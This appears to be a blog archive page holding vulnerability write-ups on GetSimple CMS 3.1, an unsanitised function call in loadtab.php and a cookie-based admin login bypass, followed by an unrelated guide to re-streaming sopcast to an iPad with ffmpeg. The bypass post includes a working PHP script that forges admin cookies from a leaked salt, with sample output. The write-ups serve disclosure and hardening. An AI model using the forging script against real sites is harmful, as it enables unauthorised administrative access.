GetSimple CMS 3.1 information disclosure vulnerability

Further to my recent article on the GetSimple CMS cookie weakness, I have continued to look through the application and found another vulnerability.

This one isn’t quite as risky as the cookie weakness, but due to the nature of information disclosure vulnerabilities it is still a problem and something that could well contribute to other issues, especially if you are on a shared hosted platform.

The vulnerable code can only be exploited by a logged in user (although if you used the previous exploit to generate your own cookie thats not a problem) and I dont buy that just because you are logged in security issues aren’t important because on a shared system, even the compromise from a logged in user can expose other users data which obviously is a problem and not acceptable.

The vulnerable page is loadtab.php

and the vulnerable code is below:

<?php
if ($plugin_id == @$_GET[‘item’]) {
call_user_func_array($plugin_info[$plugin_id][‘load_data’],array());
} else if (isset($_GET[‘item’])) {
call_user_func_array($_GET[‘item’],array());
}
?>

You can see that the variable item retrieved from the get URL is passed directly without sanitization to the call_user_func_array call. Provided you are logged in and satisfy the other constraints of that page, i.e also passing the id parameter whatever you passed as item will be directly evaluated, and in the case of phpinfo, the whole contents returned to you, exposing a number of sensitive fields you would not wish an attacker to know.

The fix for this is really one for the GetSimple devs, but the user input should be sanitized and not ever passed directly to a function.

GetSimple CMS password authentication bypass

GetSimple is a simple to use and install CMS system running on PHP.

It has no backend database which makes it especially appealing to those who do not need or want to setup a load of sql servers and the associated maintainance thereof.

The way GetSimple works is through xml files which contain the various components of the system, user files, content etc.. etc..

There is a problem however with the method used to check and authenticate a user if the GetSimple system has been installed with default values and security guidance has NOT been followed – which lets face it if you are using GetSimple, the chances are you dont want to or dont have the time to trawl through all the “hardening” options. (Its a pity its not secure by default)

A number of situations are required in order to exploit this system.

1) You need to know the or an admin username (default admin)

2) You need to know the version of the GetSimple install (relatively trivial to find or even use trial and error)

3) You need to be able to read the file http://site.com/data/other/authorization.xml which contains the key entry for the api key which is also used by default as the salt for the authentication cookie mechanism. By default the .htaccess file that comes with the GetSimple install does not protect this, and as it is an xml file, most web servers will happily serve this up to you.

Let me talk you through whats going on in the cookie generation process which is called when you successfully authenticate and subsequently sets a cookie for you to get access to the site as the admin user you logged in as.

Its handled by the file admin/inc/cookie_functions.php

and the function we are interested in is called create_cookie – here it is below:

 

function create_cookie() {
global $USR,$SALT,$cookie_time,$cookie_name;
$saltUSR = $USR.$SALT;
$saltCOOKIE = sha1($cookie_name.$SALT);
setcookie($saltCOOKIE, sha1($saltUSR), time() + $cookie_time,’/’);
setcookie(‘GS_ADMIN_USERNAME’, $USR, time() + $cookie_time,’/’);
}

 

This function relies on the SALT as the only real security mechanism here, and if (as by default) the SALT is available as the API key, the security falls apart.

The reason is that you can easily generate your own cookies using data you know – example PHP script attached below.

Now its also possible that if the authorization.xml file is accessible then the data/users/username.xml is also accessible however whilst this contains the user details, the password is at least encrypted using sha1 – brute forceable, but time consuming if a half decent password has been used.

In addition if the admin username has been changed, and access to xml files has not been denied, you can try data/other/logs/failedlogins.log for a possible list of usernames.

The following CLI based php code will take input of username, salt and version and generate you all you need to set your own cookie and grant yourself access to the admin portal.

—————————————–

<?php
if ( count($argv) !=4 ) {
echo “\n\n\n\nUsage: GSCookieGen.php [username] [salt] [versionnumber]\n”;
echo “By default salt is in http://site/data/other/authorization.xml\n”;
echo “I’m sure you can find the version number, i.e 3.2.1\n”;
echo “Please try again with the above arguements completed\n\n\n”;
exit();
}
$USR= $argv[1];
$SALT = $argv[2];
$saltUSR = $USR.$SALT;
$cookie_time=’7200′;
$site_full_name = ‘GetSimple’;
$site_version_no = $argv[3];
$name_url_clean = strtolower(str_replace(‘ ‘,’-‘,$site_full_name));
$site_link_back_url = ‘http://get-simple.info/’;
$ver_no_clean = str_replace(‘.’,”,$site_version_no);
$cookie_name = strtolower($name_url_clean) .’_cookie_’. $ver_no_clean;
$saltcookie = sha1($cookie_name.$SALT);
$cookie = sha1($saltUSR);
echo “\n—————————-\n\nUse the following in your http request for authentication bypass\n”;
echo “Set-Cookie: “.$saltcookie.”=”.$cookie.”\n”;
echo “Set-Cookie: GS_ADMIN_USERNAME=”.$USR.”\n\n\n—————————-\n\n\n”;
?>

——————————————-

For example :

[root@server ~]# php GSCookieGen.php admin 734cd83a6592476c1a03bb 3.2.1

—————————-

Use the following in your http request for authentication bypass
Set-Cookie: 3eb2c68be8222c2de0dc6940a952db13a83241c0=87338710ddd1c098b314542099322e31f45f9be7
Set-Cookie: GS_ADMIN_USERNAME=admin
—————————-

 

As far as I am aware versions up to current 3.2 are vulnerable to this weakness – which I will highlight is more of a weakness in securing your filesystem and key files than the GetSimpleCMS itself, however its my opinion that the install instructions and default settings are not secure enough for a starting point.

 

There is another weakness in the GetSimpleCMS which if you were NOT able to get access to the SALT (by default the api key) BUT were able to get access to the xml files in the data/users directory would mean you could bruteforce a reset password in minutes.

The weakness is in the password reset routine which anyone can use for any user.

The problem is in the function used to generate a new password:

function createRandomPassword() {
$chars = “Ayz23mFGHBxPQefgnopRScdqrTU4CXYZabstuDEhijkIJKMNVWvw56789″;
srand((double)microtime()*1000000);
$i = 0;
$pass = ” ;
while ($i <= 5) {
$num = rand() % 33;
$tmp = substr($chars, $num, 1);
$pass = $pass . $tmp;
$i++;
}
return $pass;
}

You can see there that whilst a random password is generated, its not only using a very small subset of possible characters, its only creating a 6 character password – easily brute forceable in 10 or 20 minutes using a standard PC or Laptop.

This is poor, but again does require the sys admin to have left the file system open to exploit.

All of this is relatively easy to secure.

1) restrict access to admin pages from known IP’s

2)restrict direct access to the xml files using .htaccess rules

3)implement the security guidelines given out by GetSimple – change your SALT and default username.

4)update to 3.2beta as I believe some of this is fixed / enhanced in this version

The GetSimpleCMS dev’s are aware of these issues, but im not convinced they are taking them as seriously as perhaps they should be. Its my opinion that given default install the above discussed scenarios are reasonably likely.

One final note is that I am open to be corrected on any of the above 🙂

I have used this against a couple of installs that I know of (with permission from the owners I might add) and have confirmed that the principles discussed above are valid given the right conditions.

Re-streaming sopcast with linux to ipad / iphone using ffserver ffmpeg and segmenter.

I wanted to find a way to watch sopcast streams on my ipad, however there currently is no native ipad app for this.

Available for linux is the sopcast command line player – sp-sc-auth which works just fine, so all I needed to go was get this to my ipad. Fairly straight forward I thought as sopcast listens on a chosen port for you to connect a media application to – I tried it on my ipad with xyzplayer which worked fine for a standard def video stream, but with HD streams the picture would be in slow motion.

I tried a number of other players, but they all had the same problem. So I figured if I could re-stream the stream as h264 I could get quicktime to play it on my ipad, and that would sort the issue.

However – easier said than done!

I was able to get ffserver and ffmpeg to take the stream from sopcast and re-stream but again slow motion issues.

So I definitely needed to re-stream into a quicktime compatable stream.

So I started looking at the use of the open source conversion of apples segmenter. Looked great but had a nightmare trying to get live_segmenter.c to compile on my fedora system.

However after some digging it seemed the majority of my issues were with my version of ffmpeg.

Using these instructions I managed to get it to compile correctly:

wget http://epirat.de/wp-content/uploads/ffmpeg-export-snapshot-2009-12-02.tar.bz2
tar -xvjf ffmpeg-export-snapshot-2009-12-02.tar.bz2
cd ffmpeg-export-2009-12-01/
./configure --enable-gpl --enable-nonfree  --enable-libfaac\
 --enable-libmp3lame --prefix=/tmp/old_ffmpeg
make
make install
cd
git clone git://github.com/ePirat/HTTP-Live-Video-Stream-Segmenter-and-Distributor.git
gcc -v -Wall -g live_segmenter.c -o live_segmenter \
    -lavformat -lavcodec -lavutil -lvorbis -ltheora\
    -lbz2 -lm -lz -lfaac -lmp3lame \
    -I/tmp/old_ffmpeg/include \
    -L/tmp/old_ffmpeg/lib
rm -rf /tmp/old_ffmpeg
rm -rf ffmpeg-export-2009-12-01
rm ffmpeg-export-snapshot-2009-12-02.tar.bz2

I would love to credit the author but im unable to find a way too! So if you read this thanks, and drop me a mail for credit 🙂

 

After getting this to compile, I followed the instructions http://www.ioncannon.net/programming/452/iphone-http-streaming-with-ffmpeg-and-an-open-source-segmenter/

 

Well couldnt get the script to work so stripped it out to manually run ffmpeg and pipe it into live_httpstreamer – however turns out my m3u8 index wasnt being created and my files were not able to be encoded as I didnt have x264 installed correctly.

So took this https://sites.google.com/site/linuxencoding/install-script to get the x264 support installed.

Manually created my own m3u8 index just to test that it would actually work.

Ended up with it all working, although the audio is going out of sync, but i’ll look at that at some point..

My final command, assuming I have created the m3u8 file with just 2 hours worth of segments, is…

/home/user/Linux.Encoding.install/bin/ffmpeg -i http://127.0.0.1:7070 -f mpegts -acodec libmp3lame -ar 32000 -ab 48k -async 1 -s 600×480 -vcodec libx264 -b 1200k -flags +loop+mv4 -cmp 256 -partitions +parti4x4+partp8x8+partb8x8 -subq 7 -trellis 1 -refs 5 -coder 0 -me_range 16 -keyint_min 25 -sc_threshold 40 -i_qfactor 0.71 -bt 1200k -maxrate 1200k -bufsize 110k -rc_eq ‘blurCplx^(1-qComp)’ -qcomp 0.6 -qmin 10 -qmax 51 -qdiff 4 -level 30 -aspect 4:3 -r 30 -g 90 -async 2 – | /home/user/segmenter/live_segmenter 10 /var/www/html/video/ stream ipad

Any questions please feel free to post comments, I have pulled this together quickly so might well have missed something…